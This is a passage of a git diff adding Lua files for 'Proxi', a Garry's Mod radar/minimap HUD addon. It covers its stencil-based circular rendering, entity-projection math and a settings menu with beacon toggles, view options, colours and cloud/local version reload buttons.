"regmod_pinscale" ) / 5 +end + +function proxi:GetPin3DScale( ) + return self:GetVar( "regmod_pinscale" ) / 5 +end + +function proxi.HUDPaint() + if not proxi:IsEnabled() then return end + + + if not proxi.dat.view_data then + proxi.dat.view_data = {} + end + + if proxi:GetVar( "eyemod_override") <= 0 then + proxi:RecomRegular() + proxi:RegularEvaluate() + + else + proxi:RecomEyemod() + proxi:EyemodEvaluate() + + end + proxi:DoRenderVirtualScene( proxi.dat.view_data ) + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +local PROXI_LASTMODE = nil + +function proxi:EyemodEvaluate() + local size = ScrH() + self.dat.view_data.draww = size + self.dat.view_data.drawh = size + self.dat.view_data.drawx = ScrW() / 2 - size / 2 + self.dat.view_data.drawy = ScrH() / 2 - size / 2 + self.dat.view_data.foveval = LocalPlayer():GetFOV() + self.dat.view_data.bypass_distance = proxi:GetVar( "global_finderdistance") + +end + +function proxi:RegularEvaluate() + local size = proxi:GetVar( "regmod_size") + self.dat.view_data.draww = size + self.dat.view_data.drawh = size + self.dat.view_data.drawx = proxi:GetVar( "regmod_xrel") * ScrW() - size / 2 + self.dat.view_data.drawy = proxi:GetVar( "regmod_yrel") * ScrH() - size / 2 + self.dat.view_data.foveval = proxi:GetVar( "regmod_fov") + self.dat.view_data.radiuseval = proxi:GetVar( "regmod_radius") + self.dat.view_data.bypass_distance = proxi:GetVar( "global_finderdistance") + +end + +function proxi:RecomEyemod() + if PROXI_LASTMODE == "EYEMOD" then return end + PROXI_LASTMODE = "EYEMOD" + + self.dat.ang_before_pos = true + self.dat.view_data.referencepos_func = function( viewData ) + return EyePos() + + end + self.dat.view_data.referenceang_func = function( viewData ) + return (sharpeye_focus and sharpeye_focus.GetSmoothedViewAngles and sharpeye_focus:GetSmoothedViewAngles()) or EyeAngles() + + end + self.dat.view_data.pos_func = function( viewData ) + return EyePos() + + end + self.dat.view_data.ang_func = function( viewData ) + return (sharpeye_focus and sharpeye_focus.GetSmoothedViewAngles and sharpeye_focus:GetSmoothedViewAngles()) or EyeAngles() + + end + + self.dat.view_data.referencepos = nil + self.dat.view_data.referenceang = nil + self.dat.view_data.pos = nil + self.dat.view_data.ang = nil + + + self.dat.view_data.radiuseval_func = function( viewData ) return nil end + self.dat.view_data.foveval_func = function( viewData ) return nil end + self.dat.view_data.radiuseval = 2048 + self.dat.view_data.foveval = 10 + + self.dat.view_data.drawx = 0 + self.dat.view_data.drawy = 0 + self.dat.view_data.draww = 0 + self.dat.view_data.drawh = 0 + + self.dat.view_data.margin = 2^0.5 + +end + +function proxi:RecomRegular() + if PROXI_LASTMODE == "REGULAR" then return end + PROXI_LASTMODE = "REGULAR" + + self.dat.ang_before_pos = true + self.dat.view_data.referencepos_func = function( viewData ) + return EyePos() + + end + self.dat.view_data.referenceang_func = function( viewData ) + return EyeAngles() + + end + self.dat.view_data.pos_func = function( viewData ) + local dist = viewData.radiuseval / math.tan( math.rad( viewData.foveval / 2 ) ) + return viewData.referencepos - viewData.ang:Forward() * dist + + end + self.dat.view_data.ang_func = function( viewData ) + return Angle( proxi:GetVar( "regmod_angle") + (proxi:GetVar( "regmod_pitchdyn") / 10) * viewData.referenceang.p, viewData.referenceang.y, 0 ) + end + + self.dat.view_data.referencepos = nil + self.dat.view_data.referenceang = nil + self.dat.view_data.pos = nil + self.dat.view_data.ang = nil + + + self.dat.view_data.radiuseval_func = function( viewData ) return nil end + self.dat.view_data.foveval_func = function( viewData ) return nil end + self.dat.view_data.radiuseval = 512 + self.dat.view_data.foveval = 10 + + self.dat.view_data.drawx = 0 + self.dat.view_data.drawy = 0 + self.dat.view_data.draww = 0 + self.dat.view_data.drawh = 0 + + self.dat.view_data.margin = 2^0.5 + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function proxi:RecomA() + self.dat.view_data.pos_func = function() + local dist = self.dat.view_data.radiuseval / math.tan( math.rad( self.dat.view_data.foveval / 2 ) ) + return EyePos() - self.dat.view_data.ang_func():Forward() * dist + + end + + self.dat.view_data.pos = nil + self.dat.view_data.ang = nil + self.dat.view_data.ang_func = function() return Angle( 90, EyeAngles().y, 0 ) end + self.dat.view_data.radiuseval = 1024 + self.dat.view_data.foveval = 4 + self.dat.view_data.drawx = 12 + self.dat.view_data.drawy = 256 + self.dat.view_data.draww = 312 + self.dat.view_data.drawh = 312 + self.dat.view_data.margin = 2^0.5 + +end + +function proxi:RecomB() + self.dat.view_data.pos_func = function() + return EyePos() + + end + self.dat.view_data.ang_func = function() return (sharpeye_focus and sharpeye_focus.GetSmoothedViewAngles and sharpeye_focus:GetSmoothedViewAngles()) or EyeAngles() end + + self.dat.view_data.pos = nil + self.dat.view_data.ang = nil + self.dat.view_data.radiuseval = 200 + self.dat.view_data.foveval = LocalPlayer():GetFOV() + self.dat.view_data.drawx = (ScrW() - ScrH()) / 2 + self.dat.view_data.drawy = 0 + self.dat.view_data.draww = ScrH() + self.dat.view_data.drawh = ScrH() + self.dat.view_data.margin = 2^0.5 + +end + +function proxi:RecomC() + self.dat.ang_before_pos = true + self.dat.view_data.referencepos_func = function( viewData ) + return EyePos() + + end + self.dat.view_data.referenceang_func = function( viewData ) + return EyeAngles() + + end + self.dat.view_data.pos_func = function( viewData ) + local dist = viewData.radiuseval / math.tan( math.rad( viewData.foveval / 2 ) ) + return viewData.referencepos - viewData.ang:Forward() * dist + + end + self.dat.view_data.ang_func = function( viewData ) + return Angle( proxi:GetVar( "regmod_angle") + (proxi:GetVar( "regmod_pitchdyn") / 10) * viewData.referenceang.p, viewData.referenceang.y, 0 ) + end + + self.dat.view_data.referencepos = nil + self.dat.view_data.referenceang = nil + self.dat.view_data.pos = nil + self.dat.view_data.ang = nil + + + self.dat.view_data.radiuseval_func = function( viewData ) return nil end + self.dat.view_data.foveval_func = function( viewData ) return nil end + self.dat.view_data.radiuseval = 512 + self.dat.view_data.foveval = 10 + + self.dat.view_data.drawx = 0 + self.dat.view_data.drawy = 0 + self.dat.view_data.draww = 0 + self.dat.view_data.drawh = 0 + + self.dat.view_data.margin = 2^0.5 + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function proxi:GetCurrentViewData() + return PROXI_CURRENT_VIEWDATA +end + +function proxi:DoRenderVirtualScene( viewData ) + PROXI_CURRENT_VIEWDATA = viewData + + -- We need these because Vector:ToScreen() uses the viewport as a reference, but uses the raw Screen sizes from 0 to Screen Size as range of values no matter where the viewport is or which size the viewport is + viewData.raw_scrw = ScrW() + viewData.raw_scrh = ScrH() + + local xDraw, yDraw = viewData.drawx, viewData.drawy + local iWidth, iHeight = viewData.draww, viewData.drawh + + -- Calculate actual values + viewData.referencepos = viewData.referencepos_func(viewData) or viewData.referencepos + viewData.referenceang = viewData.referenceang_func(viewData) or viewData.referenceang + + if self.dat.ang_before_pos then + viewData.ang = viewData.ang_func(viewData) or viewData.ang + viewData.pos = viewData.pos_func(viewData) or viewData.pos + + else + viewData.pos = viewData.pos_func(viewData) or viewData.pos + viewData.ang = viewData.ang_func(viewData) or viewData.ang + + end + + viewData.radiuseval = viewData.radiuseval_func(viewData) or viewData.radiuseval + viewData.foveval = viewData.foveval_func(viewData) or viewData.foveval + + viewData.baseratio = math.tan( math.rad( viewData.foveval / 2 / viewData.margin ) ) + viewData.baseratio_nomargin = math.tan( math.rad( viewData.foveval / 2 ) ) + + --self:DoFindComputeEnts( viewData ) + + render.ClearStencil() + render.SetStencilEnable( true ) + render.SetStencilFailOperation( STENCILOPERATION_KEEP ) + render.SetStencilPassOperation( STENCILOPERATION_REPLACE ) + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_ALWAYS ) + render.SetStencilReferenceValue( 1 ) + + ---- Background circle + surface.SetDrawColor( proxi:GetVarColorVariadic("uidesign_backcolor") ) + surface.SetTexture( nil ) + surface.DrawPoly( self:CalcCircle( 36, iWidth / 2, viewData.drawx, viewData.drawy ) ) + + -- Operation : Keep (We don't want any stencil modification to happen after drawing the polygon). + render.SetStencilPassOperation( STENCILOPERATION_KEEP ) + + ---- Undercontents + + -- Comparaison : Equal : We want all operations to be drawn on the circle. + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_EQUAL ) + + cam.Start3D( viewData.pos, viewData.ang, viewData.foveval, xDraw, yDraw, iWidth, iHeight ) + local bOkayFirst, strErrFirst = pcall( self.DoCameraMath, self, viewData ) + if bOkayFirst then + local bOkay, strErr = pcall( self.DoCameraUnderScene, self, viewData ) + if not bOkay then ErrorNoHalt( ">> Proxi ERROR : " .. strErr ) end + + end + + cam.End3D() + if not bOkayFirst then ErrorNoHalt( ">> Proxi ERROR : " .. strErrFirst ) end + + ---- Drawing the ring. + + -- Compare : We want it only to draw no matter what + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_ALWAYS ) + + local iSurfWidth, iSurfHeight = iWidth * RING_MATFIX, iHeight * RING_MATFIX + local iDrawXCenter, iDrawYCenter = xDraw + iWidth / 2, yDraw + iHeight / 2 + surface.SetDrawColor( proxi:GetVarColorVariadic("uidesign_ringcolor") ) + surface.SetTexture( RING_TEX_ID ) + surface.DrawTexturedRectRotated( iDrawXCenter, iDrawYCenter, iSurfWidth, iSurfHeight, 0) + + ---- Preparing Overcontents + if bOkayFirst then + -- Comparaison : Equal : We want all operations to be drawn on the circle. + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_EQUAL ) + + ---- Overcontents + cam.Start3D( viewData.pos, viewData.ang, viewData.foveval, xDraw, yDraw, iWidth, iHeight ) + local bOkay, strErr = pcall( self.DoCameraOverScene, self, viewData ) + + cam.End3D() + if not bOkay then ErrorNoHalt( ">> Proxi ERROR : " .. strErr ) end + + end + + render.SetStencilEnable( false ) + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function proxi:ConvertPosToScreen( vPos, fAlterX, fAlterY ) + PROXI_CALC_SCREENPOS = vPos:ToScreen() + PROXI_CALC_SCREENPOS.x = (PROXI_CALC_SCREENPOS.x / PROXI_CURRENT_VIEWDATA.raw_scrw + (fAlterX or 0) / 2) * PROXI_CURRENT_VIEWDATA.draww + PROXI_CALC_SCREENPOS.y = (PROXI_CALC_SCREENPOS.y / PROXI_CURRENT_VIEWDATA.raw_scrh + (fAlterY or 0) / 2) * PROXI_CURRENT_VIEWDATA.drawh + + return PROXI_CALC_SCREENPOS.x, PROXI_CALC_SCREENPOS.y + +end + +function proxi:ConvertPosToRelative( vPos ) + PROXI_CALC_SCREENPOS = vPos:ToScreen() + PROXI_CALC_SCREENPOS.x = (PROXI_CALC_SCREENPOS.x / PROXI_CURRENT_VIEWDATA.raw_scrw) * 2 - 1 + PROXI_CALC_SCREENPOS.y = (PROXI_CALC_SCREENPOS.y / PROXI_CURRENT_VIEWDATA.raw_scrh) * 2 - 1 + + return PROXI_CALC_SCREENPOS.x, PROXI_CALC_SCREENPOS.y + +end + +function proxi:ConvertRelativeToScreen( fAlterX, fAlterY ) + local x,y = (fAlterX + 1) / 2 * PROXI_CURRENT_VIEWDATA.draww, (fAlterY + 1) / 2 * PROXI_CURRENT_VIEWDATA.drawh + + return x, y + +end + + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +local PROXI_CAMERA_FIX = 1 +local PROXI_CIRCLE_POLYGON = {} +local PROXI_CIRCLE_RES = -1 +local PROXI_CIRCLE_RADIUS = -1 +local PROXI_CIRCLE_IDX = -1 +local PROXI_CIRCLE_IDY = -1 + + +// CalcCircle should use viewdata for multiplicity ? +function proxi:CalcCircle( iRes, iRadius, iDrawX, iDrawY ) + if PROXI_CIRCLE_RES == iRes and PROXI_CIRCLE_RADIUS == iRadius and PROXI_CIRCLE_IDX == iDrawX and PROXI_CIRCLE_IDY == iDrawY then return PROXI_CIRCLE_POLYGON end + + PROXI_CIRCLE_RES = iRes + PROXI_CIRCLE_RADIUS = iRadius + PROXI_CIRCLE_IDX = iDrawX + PROXI_CIRCLE_IDY = iDrawY + + for i = 1, iRes do + if not PROXI_CIRCLE_POLYGON[i] then + PROXI_CIRCLE_POLYGON[i] = {} + + end + + PROXI_CIRCLE_POLYGON[i]["x"] = math.cos( math.rad( i / iRes * 360 ) ) * iRadius + PROXI_CIRCLE_POLYGON[i]["y"] = math.sin( math.rad( i / iRes * 360 ) ) * iRadius + PROXI_CIRCLE_POLYGON[i]["u"] = (iRadius - PROXI_CIRCLE_POLYGON[i]["x"]) / (2 * iRadius) + PROXI_CIRCLE_POLYGON[i]["v"] = (iRadius - PROXI_CIRCLE_POLYGON[i]["y"]) / (2 * iRadius) + + PROXI_CIRCLE_POLYGON[i]["x"] = iDrawX + iRadius + PROXI_CIRCLE_POLYGON[i]["x"] + PROXI_CIRCLE_POLYGON[i]["y"] = iDrawY + iRadius + PROXI_CIRCLE_POLYGON[i]["y"] + + end + + return PROXI_CIRCLE_POLYGON + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function proxi:ProjectPosition( tMath, posToProj ) + -- PROXI_CURRENT_VIEWDATA.pos = tMath.origin = EyePos() ((Reevaluation)) + tMath.posToProj = posToProj + + tMath.norm = PROXI_CURRENT_VIEWDATA.ang:Forward() + + tMath.projectedPos = PROXI_CURRENT_VIEWDATA.pos + tMath.norm * (posToProj - PROXI_CURRENT_VIEWDATA.pos):Dot( tMath.norm ) + tMath.relativePos = posToProj - tMath.projectedPos + + tMath.length = tMath.relativePos:Length() + tMath.distanceToOrigin = (tMath.projectedPos - PROXI_CURRENT_VIEWDATA.pos):Length() + + // WARNING : AMBIGUOUS CODE. + // + // WAS : + tMath.relativity = tMath.length / tMath.distanceToOrigin + tMath.ratio = tMath.relativity / PROXI_CURRENT_VIEWDATA.baseratio + + tMath.ratioClamped = tMath.ratio > 1 and 1 or tMath.ratio + if tMath.ratioClamped == 1 then + tMath.relativePos = tMath.relativePos:Normalize() * PROXI_CURRENT_VIEWDATA.baseratio * tMath.distanceToOrigin + + end + +end + +function proxi:GetConeProjectedPosition( tMath ) + tMath.conePos = tMath.projectedPos + tMath.relativePos + return tMath.conePos + +end + +function proxi:GetFalloff( tMath, iFallOff, optbExtras ) + tMath.closeFalloff = math.Clamp( tMath.distanceToOrigin / iFallOff, 0, 1) + + if not optbExtras then + return tMath.closeFalloff + + else + return tMath.closeFalloff, tMath.closeFalloff ^ 2, self:PercentCharge( tMath.closeFalloff ) + + end + +end + +function proxi:DoCameraMath( viewData ) + self:DebugBeaconOps( self:GetTaggedEntities(), 0 ) + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function proxi:DoCameraUnderScene( viewData ) + self:DebugBeaconOps( self:GetTaggedEntities(), 1 ) + + cam.Start2D() + local bOkay, strErr = pcall( function() + self:DebugBeaconOps( self:GetTaggedEntities(), 2 ) + + end ) + cam.End2D() + + if not bOkay then ErrorNoHalt( ">> Proxi ERROR : " .. strErr ) end + +end + +function proxi:DoCameraOverScene( viewData ) + self:DebugBeaconOps( self:GetTaggedEntities(), 3 ) + + cam.Start2D() + local bOkay, strErr = pcall( function() + self:DebugBeaconOps( self:GetTaggedEntities(), 4 ) + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_ALWAYS ) + self:DebugBeaconOps( self:GetTaggedEntities(), 5 ) + //surface.SetDrawColor( 255, 255, 255, 64 ) + //surface.DrawRect( 0, 0, ScrW(), ScrH() ) + + end ) + cam.End2D() + + if not bOkay then ErrorNoHalt( ">> Proxi ERROR : " .. strErr ) end + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_menu.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_menu.lua new file mode 100644 index 0000000..1726149 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_menu.lua @@ -0,0 +1,378 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Menu // +//////////////////////////////////////////////// +local proxi = proxi + +local PROXI_MENU = nil + +function proxi:GetMenu() + return PROXI_MENU or self:BuildMenu() + +end + +function proxi:UpdateMenuPosition() + local pos = self:GetVar( "menu_position" ) + if pos > 0 then + PROXI_MENU:SetPos( ScrW() - PROXI_MENU:GetWide(), 0 ) + PROXI_MENU:GetContents()._p_topPanel._p_positionBox:SetType( "left" ) + + else + PROXI_MENU:SetPos( 0, 0 ) + PROXI_MENU:GetContents()._p_topPanel._p_positionBox:SetType( "right" ) + + end + +end + +function proxi:BuildMenuContainer() + self:RemoveMenu() + + local WIDTH = 230 + PROXI_MENU = vgui.Create( PROXI_SHORT .. "_ContextContainer" ) + PROXI_MENU:SetSize( WIDTH, ScrH() ) + PROXI_MENU:GetCanvas( ):SetDrawBackground( false ) + + local mainPanel = vgui.Create( "DPanel" ) + PROXI_MENU:SetContents( mainPanel ) + + /// + + //mainPanel:SetDrawBackground( false ) + /*mainPanel.Paint = function (self) + surface.SetDrawColor( 255, 0, 0, 96 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + end*/ + + PROXI_MENU.Paint = function (self) + surface.SetDrawColor( 0, 0, 0, 96 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + end + + mainPanel.Paint = function (self) + surface.SetDrawColor( 0, 0, 0, 96 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + end + + return PROXI_MENU + +end + +function proxi:BuildMenu() + if not ValidPanel( PROXI_MENU ) then + self:BuildMenuContainer() + + end + + local mainPanel = PROXI_MENU:GetContents() + + //// + local topPanel = proxi:BuildHeader( mainPanel, PROXI_NAME ) + + //// + local tabMaster = vgui.Create( "DPropertySheet", mainPanel ) + do + local formBeacons = vgui.Create( "DPanelList" ) + formBeacons:AddItem( self:BuildParamPanel( "global_finderdistance", { Type = "range", Text = "Global Finder : Distance limit", Min = 256, Max = 16384, Decimals = 0 } ) ) + + do + local beacons = proxi:GetAllBeacons() + for _,sName in pairs( proxi:GetBeaconOrderTable() ) do + local objBeacon = beacons[ sName ] + + local category = vgui.Create("ProxiCollapsibleCheckbox", refPanel) + category:SetExpanded( false ) + category:SetText( objBeacon:GetDisplayName() ) + category:SetConVar( self:GetVarName( "beacons_enable_" .. sName ) ) + + category.List = vgui.Create("DPanelList", category ) + category.List:EnableHorizontal( false ) + category.List:EnableVerticalScrollbar( false ) + + if objBeacon:HasBypassDistance() then + category.List:AddItem( self:BuildParamPanel( "beacons_settings_" .. sName .. "__bypassdistance", { Type = "bool", Text = "Bypass distance limit" } ) ) + + else + category.Paint = function ( self ) + surface.SetDrawColor( 0, 0, 0 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + + end + + end + + category:SetContents( category.List ) + + formBeacons:AddItem( category ) + + end + + end + + local formOptions = vgui.Create( "DPanelList" ) + do + formOptions:AddItem( self:BuildParamPanel( "regmod_xrel", { Type = "range", Text = "X Relative Position", Min = 0, Max = 1, Decimals = 2 } ) ) + formOptions:AddItem( self:BuildParamPanel( "regmod_yrel", { Type = "range", Text = "Y Relative Position", Min = 0, Max = 1, Decimals = 2 } ) ) + + formOptions:AddItem( self:BuildParamPanel( "regmod_size", { Type = "range", Text = "Circle Size", Min = 0, Max = 1024, Decimals = 0 } ) ) + formOptions:AddItem( self:BuildParamPanel( "regmod_pinscale", { Type = "range", Text = "Pin Scale", Min = 0, Max = 10, Decimals = 0 } ) ) + formOptions:AddItem( self:BuildParamPanel( "noconvars", { Type = "panel_label", Text = "WARNING : The greater the Radius is, the more perspective should you set it up, otherwise 3D beacons won't dislay at all.", Wrap = true } ) ) + + formOptions:AddItem( self:BuildParamPanel( "regmod_fov", { Type = "range", Text = "Isometric < > Perspective", Min = 2, Max = 100, Decimals = 0 } ) ) + formOptions:AddItem( self:BuildParamPanel( "regmod_radius", { Type = "range", Text = "In-world Radius", Min = 128, Max = 4096, Decimals = 0 } ) ) + formOptions:AddItem( self:BuildParamPanel( "regmod_angle", { Type = "range", Text = "Pitch Angle", Min = -90, Max = 90, Decimals = 0 } ) ) + formOptions:AddItem( self:BuildParamPanel( "regmod_pitchdyn", { Type = "range", Text = "Pitch Dynamism", Min = 0, Max = 10, Decimals = 0 } ) ) + + formOptions:AddItem( self:BuildParamPanel( "eyemod_override", { Type = "bool", Text = "Enable Eye Mod (Debug mode)" } ) ) + + end + + local formDesign = vgui.Create( "DPanelList" ) + do + formDesign:AddItem( self:BuildParamPanel( "noconvars", { Type = "panel_label", Text = "Ring color" } ) ) + formDesign:AddItem( self:BuildParamPanel( "uidesign_ringcolor", { Type = "color" } ) ) + formDesign:AddItem( self:BuildParamPanel( "noconvars", { Type = "panel_label", Text = "Background color" } ) ) + formDesign:AddItem( self:BuildParamPanel( "uidesign_backcolor", { Type = "color" } ) ) + + end + + formBeacons:EnableVerticalScrollbar( true ) + formOptions:EnableVerticalScrollbar( true ) + formDesign:EnableVerticalScrollbar( true ) + + tabMaster:AddSheet( "Beacons", formBeacons, "gui/silkicons/application_view_detail", false, false, "All your scripts." ) + tabMaster:AddSheet( "Options", formOptions, "gui/silkicons/wrench", false, false, "Settings." ) + tabMaster:AddSheet( "UI", formDesign, "gui/silkicons/palette", false, false, "Appearance." ) + + end + + //// + local optionsForm = vgui.Create( "DForm", mainPanel ) + do + optionsForm:SetName( "Status" ) + + local label = vgui.Create( "DLabel" ) + label:SetText( "None." ) + optionsForm:AddItem( label ) + + end + + //// + mainPanel._p_topPanel = topPanel + mainPanel._p_tabMaster = tabMaster + mainPanel._p_optionsForm = optionsForm + + mainPanel._n_Spacing = 5 + mainPanel.PerformLayout = function (self) + self:GetParent():StretchToParent( 0, 0, 0, 0 ) + self:StretchToParent( self._n_Spacing, self._n_Spacing, self._n_Spacing, self._n_Spacing ) + self._p_topPanel:PerformLayout() + self._p_tabMaster:PerformLayout() + self._p_optionsForm:PerformLayout() + self._p_topPanel:Dock( TOP ) + self._p_optionsForm:Dock( BOTTOM ) + self._p_tabMaster:Dock( FILL ) + end + + PROXI_MENU:UpdateContents() + self:UpdateMenuPosition() + + return PROXI_MENU + +end + +function proxi:RemoveMenu() + if ValidPanel( PROXI_MENU ) then + PROXI_MENU:Remove() + PROXI_MENU = nil + + end + +end + +function proxi:MountMenu() + self:CreateVarParam( "bool", "menu_position", "1", { callback = function ( a, b, c ) proxi:UpdateMenuPosition() end } ) + -- do nothing + +end + +function proxi:UnmountMenu() + self:RemoveMenu() + +end + +function proxi:OpenMenu() + self:GetMenu():Open() + +end + +function proxi:CloseMenu() + self:GetMenu():Close() + +end + + + +function proxi:BuildHeader( mainPanel, sHeaderName ) + //// + local topPanel = vgui.Create( "DPanel", mainPanel ) + do + local title = self:BuildParamPanel( "noconvar", { Type = "panel_label", Text = sHeaderName, ContentAlignment = 5, Font = "DefaultBold" } ) + title.Paint = function (self) + surface.SetDrawColor( 0, 0, 0, 96 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + end + title:SetParent( topPanel ) + + local subTitle = nil + do + local MY_VERSION, ONLINE_VERSION = proxi_internal.GetVersionData() + MY_VERSION = "v" .. tostring(MY_VERSION) + ONLINE_VERSION = (ONLINE_VERSION == -1) and "(?)" or ("v" .. tostring( ONLINE_VERSION )) + subTitle = self:BuildParamPanel( "noconvar", { Type = "panel_label", Text = "Using " .. (proxi_cloud:IsUsingCloud() and "Cloud " .. ONLINE_VERSION or "Locale " .. MY_VERSION), ContentAlignment = 4 } ) + end + subTitle:SetParent( topPanel ) + + local MY_VERSION, ONLINE_VERSION = proxi_internal.GetVersionData() + if ((MY_VERSION < ONLINE_VERSION) and proxi_cloud:IsUsingCloud()) then + subTitle:SetToolTip( "There is an update ! You're currently using a temporary copy of the new version (You have v" .. tostring( MY_VERSION ) .. " installed)." ) + subTitle.Think = function (self) + local blink = 127 + (math.sin( math.pi * CurTime() * 0.5 ) + 1 ) * 64 + self:SetColor( Color( 255, 255, 255, blink ) ) // TODO : ? + + end + + end + + local enableBox = self:BuildParamPanel( "core_enable", { Type = "bool_nolabel", Style = "grip" } ) + enableBox:SetParent( title ) + enableBox:SetToolTip( "Toggle " .. tostring( sHeaderName ) .. "." ) + enableBox.Paint = function (self) + local isEnabled = self:GetChecked() + if isEnabled then + --local blink = (math.sin( math.pi * CurTime() ) + 1 ) / 2 * 64 + local blink = 222 + (math.sin( math.pi * CurTime() ) + 1 ) * 16 + surface.SetDrawColor( blink, blink, blink, 255 ) + + else + surface.SetDrawColor( 192, 192, 192, 255 ) + + end + + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + + surface.SetDrawColor( 0, 0, 0, 255 ) + surface.DrawOutlinedRect( 0, 0, self:GetWide(), self:GetTall() ) + + if not isEnabled and ( CurTime() % 1 > 0.5 ) then + surface.DrawOutlinedRect( 2, 2, self:GetWide() - 4, self:GetTall() - 4 ) + + end + + end + + local closeBox = self:BuildParamPanel( "noconvar", { Type = "panel_sysbutton", Style = "close", DoClick = function ( self ) proxi:CallCmd("-menu") end } ) + closeBox:SetParent( title ) + + local positionBox = self:BuildParamPanel( "noconvar", { Type = "panel_sysbutton", Style = "left", DoClick = function ( self ) proxi:SetVar( "menu_position", (proxi:GetVar( "menu_position" ) > 0) and 0 or 1 ) end } ) + positionBox:SetParent( title ) + positionBox:SetToolTip( "Change menu dock position." ) + + local reloadCloud = self:BuildParamPanel( "noconvar", { Type = "panel_imagebutton", Material = "gui/silkicons/toybox", DoClick = function() proxi:CallCmd("-menu") proxi:ReloadFromCloud() end } ) + reloadCloud:SetParent( subTitle ) + reloadCloud:SetToolTip( "Press to use the latest version from the Cloud." ) + + local reloadLocale = self:BuildParamPanel( "noconvar", { Type = "panel_imagebutton", Material = "gui/silkicons/application_put", DoClick = function() proxi:CallCmd("-menu") proxi:ReloadFromLocale() end } ) + reloadLocale:SetParent( subTitle ) + reloadLocale:SetToolTip( "Press to use your Locale installed version." ) + + local loadChangelog = self:BuildParamPanel( "noconvar", { Type = "panel_button", Text = "Changelog", DoClick = function() proxi:CallCmd("call_changelog") end } ) + loadChangelog:SetParent( subTitle ) + loadChangelog:SetToolTip( "Press to view the changelog." ) + + if MY_VERSION < ONLINE_VERSION then + loadChangelog.PaintOver = function ( self ) + local blink = (math.sin( math.pi * CurTime() * 0.5 ) + 1 ) * 64 + surface.SetDrawColor( 255, 255, 255, blink ) + draw.RoundedBoxEx( 2, 0, 0, self:GetWide(), self:GetTall(), Color( 255, 255, 255, blink ), true, true, true, true ) + + end + loadChangelog:SetToolTip( "There are updates ! You should update your Locale." ) + + else + loadChangelog:SetToolTip( "Press to view the changelog." ) + + end + + + topPanel._p_title = title + topPanel._p_subTitle = subTitle + topPanel._p_enableBox = enableBox + topPanel._p_closeBox = closeBox + topPanel._p_positionBox = positionBox + + topPanel._p_reloadCloud = reloadCloud + topPanel._p_reloadLocale = reloadLocale + topPanel._p_loadChangelog = loadChangelog + + end + topPanel.Paint = function (self) + surface.SetDrawColor( 0, 0, 0, 96 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + end + topPanel.PerformLayout = function (self) + self:SetWide( self:GetParent():GetWide() ) + self._p_title:SetWide( self:GetWide() ) + self._p_subTitle:SetWide( self:GetWide() ) + + self._p_title:PerformLayout( ) + self._p_subTitle:PerformLayout( ) + self._p_enableBox:PerformLayout( ) + self._p_positionBox:PerformLayout( ) + self._p_closeBox:PerformLayout( ) + + self._p_reloadCloud:PerformLayout( ) + self._p_reloadLocale:PerformLayout( ) + self._p_loadChangelog:PerformLayout( ) + + self._p_title:CenterHorizontal( ) + self._p_subTitle:CenterHorizontal( ) + + self:SetTall( self._p_title:GetTall() + self._p_subTitle:GetTall() ) + + self._p_title:AlignTop( 0 ) + self._p_subTitle:SetWide( self._p_subTitle:GetWide() - 4 ) + self._p_subTitle:AlignLeft( 4 ) + self._p_subTitle:MoveBelow( self._p_title, 0 ) + + local boxSize = self._p_title:GetTall() + self._p_enableBox:SetSize( boxSize * 0.8, boxSize * 0.8 ) + self._p_positionBox:SetSize( boxSize * 0.8, boxSize * 0.8 ) + self._p_closeBox:SetSize( boxSize * 0.8, boxSize * 0.8 ) + self._p_enableBox:CenterVertical( ) + self._p_positionBox:CenterVertical( ) + self._p_closeBox:CenterVertical( ) + self._p_enableBox:AlignLeft( boxSize * 0.1 ) + self._p_closeBox:AlignRight( boxSize * 0.1 ) + self._p_positionBox:MoveLeftOf( self._p_closeBox, boxSize * 0.1 ) + + local buttonSize = self._p_subTitle:GetTall() + self._p_reloadCloud:SetSize( buttonSize * 0.8, buttonSize * 0.8 ) + self._p_reloadLocale:SetSize( buttonSize * 0.8, buttonSize * 0.8 ) + self._p_loadChangelog:SizeToContents( ) + self._p_loadChangelog:SetSize( self._p_loadChangelog:GetWide() + 6, buttonSize * 0.8 ) + self._p_reloadCloud:CenterVertical( ) + self._p_reloadLocale:CenterVertical( ) + self._p_loadChangelog:CenterVertical( ) + self._p_reloadCloud:AlignRight( boxSize * 0.1 ) + self._p_reloadLocale:MoveLeftOf( self._p_reloadCloud, boxSize * 0.1 ) + self._p_loadChangelog:MoveLeftOf( self._p_reloadLocale, boxSize * 0.3 ) + end + + return topPanel + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_ph_simmap.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_ph_simmap.lua new file mode 100644 index 0000000..597f6f9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_ph_simmap.lua @@ -0,0 +1,46 @@ 